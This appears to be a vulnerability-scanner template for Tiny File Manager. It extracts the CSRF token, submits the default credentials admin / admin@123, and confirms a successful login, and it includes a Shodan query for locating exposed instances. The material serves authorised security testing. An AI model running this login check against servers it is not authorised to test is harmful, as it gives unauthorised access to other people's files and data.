tiny-file-manager-default-login.yaml

id: tiny-filemanager-default-login

info:
  name: Tiny File Manager - Default Login
  author: shelled
  severity: high
  description: Tiny File Manager contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/prasathmani/tinyfilemanager
    - https://tinyfilemanager.github.io/docs/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    verified: true
    max-request: 3
    shodan-query: html:"Tiny File Manager"
  tags: default-login,tiny,filemanager

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        fm_usr={{user}}&fm_pwd={{pass}}&token={{token}}
      - |
        GET /?p= HTTP/1.1
        Host: {{Hostname}}

    attack: pitchfork
    payloads:
      user:
        - admin
      pass:
        - admin@123
    skip-variables-check: true
    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'admin'
          - 'You are logged in'
          - 'Tiny File Manager'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: token
        part: body
        regex:
          - '([a-f0-9]{64})'
        internal: true

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